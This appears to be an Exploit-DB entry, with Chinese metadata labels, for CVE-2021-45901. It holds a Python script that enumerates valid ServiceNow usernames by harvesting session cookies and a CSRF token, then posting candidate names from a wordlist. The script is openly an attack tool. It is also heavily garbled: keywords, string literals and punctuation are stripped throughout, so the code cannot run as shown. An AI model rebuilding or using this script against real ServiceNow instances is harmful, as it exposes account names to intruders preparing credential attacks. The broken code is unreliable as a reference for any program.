标题: ServiceNow - Username Enumeration EDB-ID: 50741 CVE: 2021-45901 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2022-02-16 漏洞利用脚本: # Exploit Title: ServiceNow - Username Enumeration
# Google Dork: NA
# Date: 12 February 2022
# Exploit Author: Victor Hanna (Trustwave SpiderLabs)
# Author Github Page: https://9lyph.github.io/CVE-2021-45901/
# Vendor Homepage: https://www.servicenow.com/
# Software Link: https://docs.servicenow.com/bundle/orlando-servicenow-platform/page/product/mid-server/task/t_DownloadMIDServerFiles.html
# Version: Orlando
# Tested on: MAC OSX
# CVE : CVE-2021-45901

#!/usr/local/bin/python3
# Author: Victor Hanna (SpiderLabs)
# User enumeration script SNOW
# Requires valid 1. JSESSION (anonymous), 2. X-UserToken and 3. CSRF Token

 requests
 re
 urllibparse
 colorama  init
 colorama  Fore Back Style
 sys
 os
 time

 urllib3exceptions  InsecureRequestWarning
requestspackagesurllib3disable_warningscategoryInsecureRequestWarning

 
     
     ForeRED   StyleRESET_ALL
     
     sysargv
         
     

 
    ossystem
    banner
    proxies  
        
        
    
    url  
    
        
        
        r  requestsgeturl timeout verify proxiesproxies
        JSESSIONID  rcookies
        glide_user_route  rcookies
        startTime  timetime_ns
        
     requestsexceptionsTimeout
         
        sysexit
     requestsexceptionsProxyError
         
        sysexit

         f
        usernames  freadlines
         f
         users  usernames
            url  
            headers1  
                 
                 
                 
                 
                 
                 
                 glide_user_routeJSESSIONIDstartTime
                

            
                
                
                r  requestsgeturl headersheaders1 timeout verify proxiesproxies
                obj1  refindallr rtext
                obj2  refindallr rtext
                tokenIndex  rtextindexobj1
                startTime2  timetime_ns
                
                
                token  rtexttokenIndextokenIndex
                url  
                headers2  
                     
                     
                     
                     
                     
                     
                     
                     
                     
                     
                    
                     glide_user_routeJSESSIONIDstartTime2
                    

                data  
                     
                     
                     
                    
                    
                    
                    usersstrip
                    
                    token
                    
                    
                    

                payload_str  urllibparseurlencodedata safe

             requestsexceptionsTimeout
                 
                sysexit

            
                
                
                timesleep
                r  requestsposturl headersheaders2 datapayload_str timeout verify proxiesproxies
                   rtext
                     ForeRED  f  StyleRESET_ALL
                    f   
                    fwriteForeRED  f  StyleRESET_ALL
                    fclose
                   rtext
                     ForeGREEN  f  StyleRESET_ALL
                    f   
                    fwriteForeGREEN  f  StyleRESET_ALL
                    fclose
                
                     ForeRED  f  StyleRESET_ALL
                    f   
                    fwriteForeRED  f  StyleRESET_ALL
                    fclose
             KeyboardInterrupt
                sysexit
             requestsexceptionsTimeout
                 
                sysexit
             Exception  e
                 ForeRED  f  StyleRESET_ALL

 __name__  
    main URL: https://www.exploit-db.com/exploits/50741